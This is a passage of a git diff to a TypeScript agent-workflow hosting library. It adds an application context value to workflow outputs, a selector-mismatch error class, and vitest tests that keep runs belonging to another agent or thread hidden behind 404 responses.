inputSchema: z.object({ topic: z.string() }), - outputSchema: z.object({ published: z.boolean() }), + outputSchema: z.object({ + published: z.boolean(), + applicationValue: z.string().optional(), + }), permissions: { sideEffect: 'write', requiresApproval: true }, - execute: async () => ({ published: true }), + execute: async (_input, context) => ({ + published: true, + applicationValue: z + .string() + .optional() + .parse(context.requestContext?.get(APPLICATION_CONTEXT_KEY)), + }), }); const research = createStep({ @@ -768,6 +787,7 @@ function defineWorkflows(env: Env): RunnerRuntime { topic: z.string(), published: z.boolean(), approvedBy: z.string().optional(), + applicationValue: z.string().optional(), }), execute: async ({ inputData, requestContext }) => { if (!inputData.approved) { @@ -782,6 +802,7 @@ function defineWorkflows(env: Env): RunnerRuntime { topic: inputData.topic, published: result.published, approvedBy: inputData.decidedBy, + applicationValue: result.applicationValue, }; }, }); @@ -793,6 +814,7 @@ function defineWorkflows(env: Env): RunnerRuntime { topic: z.string(), published: z.boolean(), approvedBy: z.string().optional(), + applicationValue: z.string().optional(), }), }) .then(research) @@ -833,6 +855,7 @@ function defineWorkflows(env: Env): RunnerRuntime { topic: z.string(), published: z.boolean(), approvedBy: z.string().optional(), + applicationValue: z.string().optional(), }), }) .then(countedResearch) @@ -927,6 +950,7 @@ function defineWorkflows(env: Env): RunnerRuntime { isolationScopePresent: z.boolean(), customPresent: z.boolean(), initialStatePresent: z.boolean(), + applicationValue: z.string().optional(), }), execute: async ({ requestContext, state }) => { const grants = requestContext.get(BREAKWATER_CONNECTOR_GRANTS_KEY); @@ -939,6 +963,10 @@ function defineWorkflows(env: Env): RunnerRuntime { requestContext.get('breakwater.isolationScope') !== undefined, customPresent: requestContext.get('sched.note') !== undefined, initialStatePresent: state.fromSchedule === true, + applicationValue: z + .string() + .optional() + .parse(requestContext.get(APPLICATION_CONTEXT_KEY)), }; }, }); @@ -952,6 +980,7 @@ function defineWorkflows(env: Env): RunnerRuntime { isolationScopePresent: z.boolean(), customPresent: z.boolean(), initialStatePresent: z.boolean(), + applicationValue: z.string().optional(), }), }) .then(schedEcho) @@ -2426,6 +2455,7 @@ async function handleScheduleProbe( }, ], 'sched.note': 'benign', + [APPLICATION_CONTEXT_KEY]: 'accepted-application-value', }, }, cron: '* * * * *', diff --git a/packages/flowsafe/src/agent-host/thread-host.test.ts b/packages/flowsafe/src/agent-host/thread-host.test.ts index eb517bb2..95b3e402 100644 --- a/packages/flowsafe/src/agent-host/thread-host.test.ts +++ b/packages/flowsafe/src/agent-host/thread-host.test.ts @@ -5,7 +5,10 @@ import type { GuardedAgentHandle } from '@proofoftech/breakwater/agent'; import { beforeEach, describe, expect, it, onTestFinished, vi } from 'vitest'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; -import type { FlowsafeDurableAgent } from '../agent-runner/durable-agent-runner.js'; +import { + AgentRunSelectorMismatchError, + FlowsafeDurableAgent, +} from '../agent-runner/durable-agent-runner.js'; import { type ApprovalAuditEvent, type ApprovalRecord, @@ -51,6 +54,7 @@ import { type PrincipalPermissionResolver, type ThreadAgentStartInput, } from './thread-host.js'; +import { createAgentThreadTopology } from './thread-topology.js'; import type { AgentAutomationRule, Permission } from './types.js'; const mocked = vi.hoisted(() => ({ @@ -133,14 +137,16 @@ vi.mock('../agent-runner/index.js', async (importOriginal) => { ); if (!state) return null; const identity = state.provenance.startIdentity; + if (identity?.target.kind !== 'agent') + throw new RunStateUnreadableError('durable-agentic-loop', runId); if ( - identity?.target.kind !== 'agent' || identity.target.id !== configuration.agent.id || identity.target.threadId !== threadId ) - throw Object.assign(new Error('agent selectors mismatch'), { - status: 404, - }); + throw new AgentRunSelectorMismatchError( + 'durable-agentic-loop', + runId, + ); return { ...state, execution: { ...state.execution, ...identity }, @@ -371,9 +377,7 @@ function harness( current.requestContext.threadId !== 'acme_thread' || current.requestContext.resourceId !== RESOURCE_ID ) - throw Object.assign(new Error('agent selectors mismatch'), { - status: 404, - }); + throw new RunStateUnreadableError('durable-agentic-loop', runId); const threaded = authority?.agentStart.threaded ?? current.context.input.messageListState.memoryInfo !== null; @@ -3288,7 +3292,7 @@ describe('createThreadAgentHost', () => { expect(await resources.owner('run', 'acme_run')).toBeUndefined(); }); - it('rejects a snapshot whose thread correlation does not match the addressed DO', async () => { + it('keeps contradictory snapshot correlation unreadable', async () => { const { host, scope, setSnapshot } = harness(); await host.start(scope, { agentId: 'writer', @@ -3309,7 +3313,7 @@ describe('createThreadAgentHost', () => { ), scope, ), - ).rejects.toMatchObject({ status: 404 }); + ).rejects.toBeInstanceOf(RunStateUnreadableError); }); it('rehydrates a threaded approval resume with the validated memory binding', async () => { @@ -6172,6 +6176,7 @@ async function hostR1AgentFixture( wired?: boolean; journal?: boolean; lifecycle?: boolean; + snapshotTarget?: { agentId: string; threadId: string }; } = {}, ) { const core = await vi.importActual( @@ -6200,7 +6205,7 @@ async function hostR1AgentFixture( const threaded = input.threaded ?? true; const status = input.status ?? 'suspended'; const version = input.provenance ?? 'v1'; - const sql = openSqlite(); + const sql = openSqlite() as ReturnType & { close(): void }; const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase & ResourceOwnershipDatabase; const storage = @@ -6287,6 +6292,9 @@ async function hostR1AgentFixture( await resources.settleReservation(recovery.token as string, []); const workflows = await storage.getStore('workflows'); if (!workflows) throw new Error('missing host workflow domain'); + const snapshotAgentId = input.snapshotTarget?.agentId ?? 'writer'; + const snapshotThreadId = input.snapshotTarget?.threadId ?? 'acme_thread'; + const snapshotResourceId = resourceIdFromKey(snapshotThreadId); const snapshot: import('@mastra/core/workflows').WorkflowRunState = { runId: 'acme_run', status: @@ -6294,10 +6302,10 @@ async function hostR1AgentFixture( value: {}, context: { input: { - agentId: 'writer', + agentId: snapshotAgentId, messageListState: { memoryInfo: threaded - ? { threadId: 'acme_thread', resourceId: RESOURCE_ID } + ? { threadId: snapshotThreadId, resourceId: snapshotResourceId } : null, }, }, @@ -6311,12 +6319,12 @@ async function hostR1AgentFixture( timestamp: 123, requestContext: { runId: 'acme_run', - threadId: 'acme_thread', - resourceId: RESOURCE_ID, + threadId: snapshotThreadId, + resourceId: snapshotResourceId, 'breakwater.auditContext': { - agentId: 'writer', - threadId: 'acme_thread', - resourceId: RESOURCE_ID, + agentId: snapshotAgentId, + threadId: snapshotThreadId, + resourceId: snapshotResourceId, }, ...(version === 'absent' ? {} @@ -6341,8 +6349,8 @@ async function hostR1AgentFixture( owner: HUMAN_OWNER, target: { kind: 'agent', - id: 'writer', - threadId: 'acme_thread', + id: snapshotAgentId, + threadId: snapshotThreadId, }, }, agentStart: { threaded }, @@ -6414,6 +6422,363 @@ function hostR1AgentRequest(suffix = '', query = '') { ); } +describe('agent host selector lookup isolation', () => { + it.each([ + ['modern', true, 'status'], + ['modern', false, 'stream'], + ['modern', true, 'terminate'], + ['v1', false, 'status'], + ['v1', true, 'stream'], + ['v1', false, 'terminate'], + ['absent', true, 'status'], + ['absent', false, 'stream'], + ['absent', true, 'terminate'], + ] as const)('maps a coherent foreign snapshot to public 404 without effects (%s threaded=%s %s)', async (provenance, threaded, route) => { + const f = await hostR1AgentFixture({ + provenance, + threaded, + keyed: true, + snapshotTarget: { agentId: 'other-agent', threadId: 'other-thread' }, + }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + const capability = (f.workflows as FencedWorkflowsStorageD1)[ + FENCED_WORKFLOW_STORAGE + ]; + if (!capability) throw new Error('missing native observation'); + const read = vi.fn(capability.readSnapshot.bind(capability)); + Object.defineProperty(f.workflows, FENCED_WORKFLOW_STORAGE, { + value: { ...capability, readSnapshot: read }, + configurable: true, + }); + const cancel = vi.spyOn(f.app.runtime, 'cancelActiveExecution'); + const terminate = vi.spyOn(f.app.runtime, 'terminateAsPrincipal'); + const cleanup = vi.spyOn(f.app.runtime, 'completeTerminalCleanup'); + const settle = vi.spyOn(f.resources, 'settleReservation'); + const resume = vi.spyOn(FlowsafeDurableAgent.prototype, 'resumeViaRuntime'); + const observe = vi.spyOn(FlowsafeDurableAgent.prototype, 'observe'); + const owners = f.owners(); + const state = structuredClone(f.state); + const claim = await f.reservations.readForAdmission('host-r1-key'); + const suffix = route === 'status' ? '' : `/${route}`; + const request = new Request( + `https://thread/_flowsafe/agent-host/runs/writer/acme_run${suffix}?resourceId=${RESOURCE_ID}`, + { + method: route === 'terminate' ? 'POST' : 'GET', + }, + ); + const outcome = await f.host + .route(request, f.scope) + .catch((error) => error); + expect(outcome).toMatchObject({ status: 404, message: 'run not found' }); + expect(doErrorResponse(outcome).status).toBe(404); + expect(read).toHaveBeenCalledOnce(); + expect(cancel).not.toHaveBeenCalled(); + expect(terminate).not.toHaveBeenCalled(); + expect(cleanup).not.toHaveBeenCalled(); + expect(settle).not.toHaveBeenCalled(); + expect(resume).not.toHaveBeenCalled(); + expect(observe).not.toHaveBeenCalled(); + expect(f.approvals.list).not.toHaveBeenCalled(); + expect(f.approvals.createAsPrincipal).not.toHaveBeenCalled(); + expect(f.dispatch).not.toHaveBeenCalled(); + expect(f.owners()).toEqual(owners); + expect(f.state).toEqual(state); + expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(claim); + }); + + it.each([ + 'modern', + 'v1', + 'absent', + ] as const)('keeps a corrupt foreign public lookup unreadable: %s', async (provenance) => { + const f = await hostR1AgentFixture({ + provenance, + snapshotTarget: { agentId: 'other-agent', threadId: 'other-thread' }, + }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + Object.assign(f.snapshot.requestContext ?? {}, { + 'breakwater.auditContext': { agentId: 'contradiction' }, + }); + await f.persist(); + const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState'); + const before = structuredClone(f.state); + const outcome = await f.host + .route(hostR1AgentRequest(), f.scope) + .catch((error) => error); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError); + expect(doErrorResponse(outcome).status).toBe(503); + expect(selected).toHaveBeenCalledOnce(); + expect(f.state).toEqual(before); + expect(f.approvals.list).not.toHaveBeenCalled(); + expect(f.dispatch).not.toHaveBeenCalled(); + }); + + it('checks ordinary termination again inside its dispatch lock after storage changes', async () => { + const f = await hostR1AgentFixture({ provenance: 'modern' }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState'); + const cancel = vi + .spyOn(f.app.runtime, 'cancelActiveExecution') + .mockImplementation(async () => { + const context = f.snapshot.requestContext; + if (!context) throw new Error('missing snapshot context'); + context['flowsafe.runProvenance'].startIdentity.target.threadId = + 'other-thread'; + Object.assign(context, { + threadId: 'other-thread', + resourceId: 'other-thread', + }); + Object.assign(context['breakwater.auditContext'], { + threadId: 'other-thread', + resourceId: 'other-thread', + }); + const input = f.snapshot.context.input as unknown as { + messageListState: { memoryInfo: object }; + }; + Object.assign(input.messageListState.memoryInfo, { + threadId: 'other-thread', + resourceId: 'other-thread', + }); + await f.persist(); + return false; + }); + const terminate = vi.spyOn(f.app.runtime, 'terminateAsPrincipal'); + const before = structuredClone(f.state); + const outcome = await f.host + .route(hostR1AgentRequest('/terminate'), f.scope) + .catch((error) => error); + expect(outcome).toMatchObject({ status: 404 }); + expect(selected).toHaveBeenCalledTimes(2); + expect(cancel).toHaveBeenCalledOnce(); + expect(terminate).not.toHaveBeenCalled(); + expect(f.state).toEqual(before); + expect(f.approvals.list).not.toHaveBeenCalled(); + expect(f.dispatch).not.toHaveBeenCalled(); + }); + + it.each([ + 'status', + 'stream', + 'terminate', + ] as const)('does not reread a selected absent row for public %s', async (route) => { + const f = await hostR1AgentFixture({ provenance: 'modern' }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + await f.workflows.deleteWorkflowRunById({ + workflowName: f.execution.workflowId, + runId: f.execution.runId, + }); + const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState'); + const request = new Request( + `https://thread/_flowsafe/agent-host/runs/writer/acme_run${route === 'status' ? '' : `/${route}`}?resourceId=${RESOURCE_ID}`, + { method: route === 'terminate' ? 'POST' : 'GET' }, + ); + const outcome = await f.host + .route(request, f.scope) + .catch((error) => error); + expect(outcome).toMatchObject({ status: 404 }); + expect(selected).toHaveBeenCalledOnce(); + }); + + it.each([ + 'replay', + 'dispatch', + 'terminate replay', + 'resume', + 'schedule dispatch', + 'blocking', + 'proof', + ] as const)('keeps a coherent foreign row present on the strict %s path', async (route) => { + const f = await hostR1AgentFixture({ + provenance: 'modern', + keyed: true, + snapshotTarget: { agentId: 'writer', threadId: 'other-thread' }, + }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + const state = structuredClone(f.state); + const owners = f.owners(); + const claim = await f.reservations.readForAdmission('host-r1-key'); + const terminate = vi.spyOn(f.app.runtime, 'terminateAsPrincipal'); + const resume = vi.spyOn(FlowsafeDurableAgent.prototype, 'resumeViaRuntime'); + const selected = vi.spyOn(f.app.runtime, 'authoritativeStartState'); + const operation = async () => { + if (route === 'blocking') return f.host.blockingRun(f.scope); + if (route === 'schedule dispatch') + return f.host.scheduleDispatchStatus(f.scope, { + agentId: 'writer', + resourceId: RESOURCE_ID, + runId: 'acme_run', + }); + if (route === 'proof') { + const bound = await f.host.resolveBoundAgent(f.scope, { + agentId: 'writer', + entryPath: 'http.start', + }); + return bound.durableAgent.proofExecutionFor( + f.app.runtime, + 'acme_thread', + 'acme_run', + ); + } + if (route === 'resume') + return f.host.route( + new Request('https://thread/_flowsafe/agent-host/resume', { + method: 'POST', + headers: { 'content-type': 'application/json' }, + body: JSON.stringify({ + agentId: 'writer', + threadId: 'acme_thread', + resourceId: RESOURCE_ID, + runId: 'acme_run', + requestedBy: 'reviewer-2', + entryPath: 'approval.resume', + resumeData: {}, + }), + }), + f.scope, + ); + return f.host.route( + hostR1AgentRequest( + route === 'terminate replay' ? '/terminate' : '', + route === 'dispatch' ? '&dispatch=1' : '&dispatch=1&replay=1', + ), + f.scope, + ); + }; + const outcome = await operation().catch((error) => error); + expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError); + expect(doErrorResponse(outcome).status).toBe(503); + expect(selected).toHaveBeenCalledOnce(); + expect(terminate).not.toHaveBeenCalled(); + expect(resume).not.toHaveBeenCalled(); + expect(f.state).toEqual(state); + expect(f.owners()).toEqual(owners); + expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(claim); + expect(f.approvals.list).not.toHaveBeenCalled(); + expect(f.dispatch).not.toHaveBeenCalled(); + }); + + it.each([ + 'prepared', + 'prepared-unfenced', + ] as const)('retains a %s keyed journal and rearms recovery for a coherent foreign row', async (phase) => { + const f = await hostR1AgentFixture({ + mode: phase === 'prepared' ? 'fenced' : 'actual-prefix', + provenance: 'modern', + journal: true, + keyed: true, + snapshotTarget: { agentId: 'writer', threadId: 'other-thread' }, + }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + const state = structuredClone(f.state); + const owners = f.owners(); + const row = await f.read(); + const claim = await f.reservations.readForAdmission('host-r1-key'); + const settle = vi.spyOn(f.resources, 'settleReservation'); + const settleStart = vi.spyOn(f.app.runtime, 'settleStartExecution'); + const recover = vi.spyOn(f.app.runtime, 'recoverStartAttempt'); + const outcome = await f.host + .recoverOwnership(f.scope) + .catch((error) => error); + expect(doErrorResponse(outcome).status).toBe(503); + if (phase === 'prepared-unfenced') + expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError); + expect(f.state).toEqual(state); + expect(f.owners()).toEqual(owners); + expect(await f.read()).toEqual(row); + expect(await f.reservations.readForAdmission('host-r1-key')).toEqual(claim); + expect(f.alarmAt()).toBeDefined(); + expect(settle).not.toHaveBeenCalled(); + expect(settleStart).not.toHaveBeenCalled(); + expect(recover).toHaveBeenCalledTimes(phase === 'prepared' ? 1 : 0); + expect(f.approvals.list).not.toHaveBeenCalled(); + expect(f.dispatch).not.toHaveBeenCalled(); + }); + + it('preserves a reserved start when actual host replay observes another thread', async () => { + const f = await hostR1AgentFixture({ + provenance: 'modern', + keyed: true, + snapshotTarget: { agentId: 'writer', threadId: 'other-thread' }, + }); + onTestFinished(() => { + vi.restoreAllMocks(); + f.sql.close(); + }); + const { createPrincipalActorContext, InMemoryApprovalStoreFactory } = + await import('../approval-api/index.js'); + const context = createPrincipalActorContext({ + principal: f.scope.principal, + storeFactory: new InMemoryApprovalStoreFactory(), + buildService: () => f.approvals as unknown as ApprovalService, + }); + const hits: string[] = []; + const topology = createAgentThreadTopology( + { + idFromName: (name: string) => name, + get: () => ({ + fetch: (async ( + request: Request | string, + init?: import('../host-kit/thread-topology.js').ThreadRequestInit, + ) => { + const url = typeof request === 'string' ? request : request.url; + hits.push(url); + try { + return ( + (await f.host.route(new Request(url, init), f.scope)) ?? + new Response(null, { status: 404 }) + ); + } catch (error) { + return doErrorResponse(error); + } + }) as import('../host-kit/thread-topology.js').ThreadStubLike['fetch'], + }), + }, + 'test-deployment-identity-secret-0001', + { startIdempotency: f.reservations, executionFence: 'none' }, + ); + const before = await f.reservations.readForAdmission('host-r1-key'); + const outcome = await topology + .start(context, { + agentId: 'writer', + prompt: 'retry', + entryPath: 'http.start', + idempotencyKey: 'host-r1-key', + }) + .catch((error) => error); + expect(outcome).toMatchObject({ + status: 503, + message: + "run 'acme_run' of workflow 'durable-agentic-loop' state is not readable", + }); + expect(hits).toHaveLength(1); + expect(hits[0]).toContain('dispatch=1&replay=1'); + expect(await f.reservations.readForAdmission('host-r1-key')).toEqual( + before, + ); + expect(mocked.stream).not.toHaveBeenCalled(); + expect(f.approvals.list).not.toHaveBeenCalled(); + }); +}); + describe('FS8 D3 host R1 agent legacy status guards', () => { it.each([ ['missing binding', true, 404], diff --git a/packages/flowsafe/src/agent-host/thread-host.ts b/packages/flowsafe/src/agent-host/thread-host.ts index a2bedaed..37bc08fa 100644 --- a/packages/flowsafe/src/agent-host/thread-host.ts +++ b/packages/flowsafe/src/agent-host/thread-host.ts @@ -8,9 +8,10 @@ import { import { Mastra } from '@mastra/core/mastra'; import type { MastraCompositeStore } from '@mastra/core/storage'; import { isPrincipalPermissions } from '@proofoftech/breakwater/rbac'; -import type { - AuthoritativeAgentStartState, - LegacyAgentRunState, +import { + AgentRunSelectorMismatchError, + type AuthoritativeAgentStartState, + type LegacyAgentRunState, } from '../agent-runner/durable-agent-runner.js'; import { AGENT_ENTRY_PATHS, @@ -1171,6 +1172,19 @@ export function createThreadAgentHost( ); } + const publicAgentState = async ( + scope: AgentThreadInstanceScope, + ref: { agentId: string; resourceId: string; runId: string }, + ): Promise => { + try { + return await selectedAgentState(scope, ref, { includeLegacy: true }); + } catch (error) { + if (error instanceof AgentRunSelectorMismatchError) + throw new AgentHostRequestError(404, 'run not found'); + throw error; + } + }; + const matchRecoveryState = ( recovery: AgentOwnerRecovery, state: AuthoritativeAgentStartState | null, @@ -1603,8 +1617,12 @@ export function createThreadAgentHost( const snapshotExecutionFor = async ( scope: ThreadScope, ref: { agentId: string; resourceId: string; runId: string }, + knownState?: NormalAgentRunState | null, ) => { - const state = await selectedAgentState(scope, ref, { includeLegacy: true }); + const state = + knownState === undefined + ? await selectedAgentState(scope, ref, { includeLegacy: true }) + : knownState; if (!state) throw new AgentHostRequestError(404, 'run not found'); if (state.kind === 'initial') throw new RunStartPendingError(); return { @@ -2348,7 +2366,13 @@ export function createThreadAgentHost( if (storedRun && storedRun.agentId !== ref.agentId) { throw new AgentHostRequestError(404, 'run not found'); } - await snapshotExecutionFor(scope, ref); + await snapshotExecutionFor( + scope, + ref, + preflightUrl.searchParams.get('replay') === '1' + ? undefined + : await publicAgentState(scope, ref), + ); const owner = await options.resourceAccess().owner('run', ref.runId); if (preflightUrl.searchParams.get('replay') !== '1') { await scope.init.runtime.cancelActiveExecution( @@ -2596,7 +2620,9 @@ export function createThreadAgentHost( } return json(await statusFor(scope, ref)); } - return json(await statusFor(scope, ref)); + return json( + await statusFor(scope, ref, await publicAgentState(scope, ref)), + ); } if ( @@ -2610,7 +2636,11 @@ export function createThreadAgentHost( if (storedRun && storedRun.agentId !== ref.agentId) { throw new AgentHostRequestError(404, 'run not found'); } - await snapshotExecutionFor(scope, ref); + await snapshotExecutionFor( + scope, + ref, + replayOnly ? undefined : await publicAgentState(scope, ref), + ); const preflightOwner = await options .resourceAccess() .owner('run', ref.runId); @@ -2782,7 +2812,11 @@ export function createThreadAgentHost( segments[3] === 'stream' && request.method === 'GET' ) { - const run = await statusFor(scope, ref); + const run = await statusFor( + scope, + ref, + await publicAgentState(scope, ref), + ); const offset = Number(url.searchParams.get('offset') ?? '0'); if (!Number.isSafeInteger(offset) || offset < 0) { throw new AgentHostRequestError(400, 'invalid stream offset'); diff --git a/packages/flowsafe/src/agent-host/thread-topology.test.ts b/packages/flowsafe/src/agent-host/thread-topology.test.ts index 4f34df2d..955f472a 100644 --- a/packages/flowsafe/src/agent-host/thread-topology.test.ts +++ b/packages/flowsafe/src/agent-host/thread-topology.test.ts @@ -2,8 +2,10 @@ import { describe, expect, it, vi } from 'vitest'; import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js'; +import { AgentRunSelectorMismatchError } from '../agent-runner/durable-agent-runner.js'; import type { ActorContext, ApprovalRecord } from '../approval-api/index.js'; import { + doErrorResponse, type StartIdempotencyDatabase, StartIdempotencyStore, } from '../do-runner/index.js'; @@ -1373,6 +1375,21 @@ describe('FS8 D3 protected replay agent wire', () => { }); }); + it('keeps the encoded selector mismatch non-absent without claiming or probing liveness', async () => { + const response = doErrorResponse( + new AgentRunSelectorMismatchError(execution.workflowId, execution.runId), + ); + expect(response.status).toBe(503); + const result = await replay(await response.json(), response.status); + expect(result.outcome).toMatchObject({ error: { status: 503 } }); + expect(result.hits).toHaveLength(1); + expect(result.hits[0]).toContain('dispatch=1&replay=1'); + expect(await result.store.readForAdmission('wire-key')).toMatchObject({ + state: 'reserved', + binding: { kind: 'unbound' }, + }); + }); + it('does not associate or replay a valid initial agent identity', async () => { const result = await replay({ kind: 'initial', execution }); expect((await result.store.readForAdmission('wire-key'))?.binding).toEqual({ diff --git a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts index 349611ce..ba8622ab 100644 --- a/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts +++ b/packages/flowsafe/src/agent-runner/durable-agent-runner.test.ts @@ -64,6 +64,7 @@ import { import type { FencedWorkflowsStorageD1 } from '../do-runner/fenced-workflows-d1.js'; import { createHostPubSub, + doErrorResponse, InvalidExecutionIdentityError, InvalidMutationEpochError, InvalidRunRequestError, @@ -72,8 +73,12 @@ import { type StartRunOptions, } from '../do-runner/index.js'; import { init } from '../do-runner/init.js'; -import { RunStateUnreadableError } from '../do-runner/runtime.js'; import { + RunStateUnreadableError, + UnknownRunError, +} from '../do-runner/runtime.js'; +import { + AgentRunSelectorMismatchError, type AgentStartAuthority, type AuthoritativeAgentStartState, createFlowsafeDurableAgent, @@ -2917,7 +2922,7 @@ describe('FS8 D3 agent observation', () => { 'input', 'memory', 'audit', - ] as const)('R11 refuses present %s contradictions without engine work', async (corruption) => { + ] as const)('R11 refuses present %s disagreements without engine work', async (corruption) => { const f = await d3AgentObservationFixture(true); try { if (corruption === 'agent') @@ -2952,6 +2957,9 @@ describe('FS8 D3 agent observation', () => { if (corruption === 'runtime') expect(read).not.toHaveBeenCalled(); else expect(read).toHaveBeenCalledOnce(); expect(outcome).toBeInstanceOf(RunStateUnreadableError); + if (corruption === 'thread' || corruption === 'agent') + expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError); + else expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError); } finally { f.start.mockRestore(); f.sql.close(); @@ -3111,6 +3119,226 @@ async function d3LegacyAgentFixture( return { ...f, snapshot, seed }; } +describe('agent selector mismatch classification', () => { + it.each([ + ['pending', true, false, 'agent'], + ['success', false, false, 'thread'], + ['pending', false, true, 'both'], + ['success', true, true, 'agent'], + ['success', false, true, 'thread'], + ['pending', true, true, 'both'], + ] as const)('classifies a coherent foreign modern tuple from one row (%s threaded=%s metadata=%s %s)', async (status, threaded, metadata, foreign) => { + const f = await d3AgentObservationFixture(threaded); + try { + const agentId = foreign === 'thread' ? 'writer' : 'other-agent'; + const threadId = foreign === 'agent' ? 'thread-1' : 'other-thread'; + Object.assign(f.snapshot, { status, result: { selected: 'S1' } }); + Object.assign( + f.snapshot.requestContext['flowsafe.runProvenance'].startIdentity + .target, + { id: agentId, threadId }, + ); + if (metadata) { + Object.assign(f.snapshot.requestContext, { + runId: 'd3-agent', + threadId, + resourceId: threadId, + 'breakwater.auditContext': { + agentId, + threadId, + resourceId: threadId, + }, + }); + Object.assign(f.snapshot.context, { + input: { + agentId, + runId: 'd3-agent', + messageListState: { + memoryInfo: threaded ? { threadId, resourceId: threadId } : null, + }, + }, + }); + } + await f.seed(); + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const ordinary = vi.spyOn(f.workflows, 'loadWorkflowSnapshot'); + const outcome = await f.agent + .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent') + .catch((error) => error); + expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(doErrorResponse(outcome).status).toBe(503); + expect(read).toHaveBeenCalledOnce(); + expect(ordinary).not.toHaveBeenCalled(); + read.mockClear(); + await expect( + f.agent.proofExecutionFor(f.runtime, 'thread-1', 'd3-agent'), + ).rejects.toBeInstanceOf(AgentRunSelectorMismatchError); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + ['v1', true, 'agent'], + ['v1', false, 'thread'], + ['absent', true, 'both'], + ['absent', false, 'agent'], + ] as const)('classifies a coherent foreign legacy tuple (%s threaded=%s %s)', async (version, threaded, foreign) => { + const f = await d3LegacyAgentFixture(version, threaded); + try { + const agentId = foreign === 'thread' ? 'writer' : 'other-agent'; + const threadId = foreign === 'agent' ? 'thread-1' : 'other-thread'; + Object.assign(f.snapshot.requestContext ?? {}, { + threadId, + resourceId: threadId, + 'breakwater.auditContext': { agentId, threadId, resourceId: threadId }, + }); + Object.assign(f.snapshot.context.input ?? {}, { + agentId, + messageListState: { + memoryInfo: threaded ? { threadId, resourceId: threadId } : null, + }, + }); + await f.seed(); + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const outcome = await f.agent + .authoritativeAgentStartState(f.runtime, 'thread-1', 'd3-agent', { + includeLegacy: true, + }) + .catch((error) => error); + expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(outcome).not.toHaveProperty('execution'); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + 'modern', + 'v1', + 'absent', + ] as const)('checks internal coherence before foreign lookup classification: %s', async (version) => { + const f = + version === 'modern' + ? await d3AgentObservationFixture(true) + : await d3LegacyAgentFixture(version, true); + try { + Object.assign(f.snapshot.requestContext ?? {}, { + 'breakwater.auditContext': { agentId: 'contradiction' }, + }); + await f.seed(); + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const read = vi.spyOn(capability, 'readSnapshot'); + const outcome = await f.agent + .authoritativeAgentStartState(f.runtime, 'other-thread', 'd3-agent', { + includeLegacy: true, + }) + .catch((error) => error); + expect(outcome).toBeInstanceOf(RunStateUnreadableError); + expect(outcome).not.toBeInstanceOf(AgentRunSelectorMismatchError); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + 'modern', + 'v1', + ] as const)('classifies the selected foreign row when replacement storage matches the selector: %s', async (version) => { + const f = + version === 'modern' + ? await d3AgentObservationFixture(false) + : await d3LegacyAgentFixture(version, false); + try { + const capability = f.workflows[FENCED_WORKFLOW_STORAGE]; + assert(capability); + const native = capability.readSnapshot; + const read = vi + .spyOn(capability, 'readSnapshot') + .mockImplementation(async (address) => { + const row = await native(address); + if (version === 'modern') { + const provenance = + f.snapshot.requestContext?.['flowsafe.runProvenance']; + provenance.startIdentity.target.threadId = 'replacement-thread'; + } else { + Object.assign(f.snapshot.requestContext ?? {}, { + threadId: 'replacement-thread', + resourceId: 'replacement-thread', + 'breakwater.auditContext': { + agentId: 'writer', + threadId: 'replacement-thread', + resourceId: 'replacement-thread', + }, + }); + } + await f.seed(); + return row; + }); + const outcome = await f.agent + .authoritativeAgentStartState( + f.runtime, + 'replacement-thread', + 'd3-agent', + { includeLegacy: true }, + ) + .catch((error) => error); + expect(outcome).toBeInstanceOf(AgentRunSelectorMismatchError); + expect(read).toHaveBeenCalledOnce(); + expect(f.counts.model).toBe(0); + } finally { + f.start.mockRestore(); + f.sql.close(); + } + }); + + it.each([ + 'undefined', + 'error', + 'unknown run', + ] as const)('keeps failed selected sources unreadable rather than classifying a lookup miss: %s', async (failure) => { + const f = await d3AgentObservationFixture(false); + try { + const source = vi.spyOn(f.runtime, 'authoritativeStartState'); + if (failure === 'undefined') source.mockResolvedValue(undefined as never); + else + source.mockRejectedValue( + failure === 'error' + ? new Error('source failed') + : new UnknownRunError(f.workflow.id, 'd3-agent'), + ); + const outcome = await f.agent + .authoritativeAgentStartState(f.runtime, 'other-thread', 'd3-agent', { + includeLegacy: true, + }) + .catch((error) => error); + 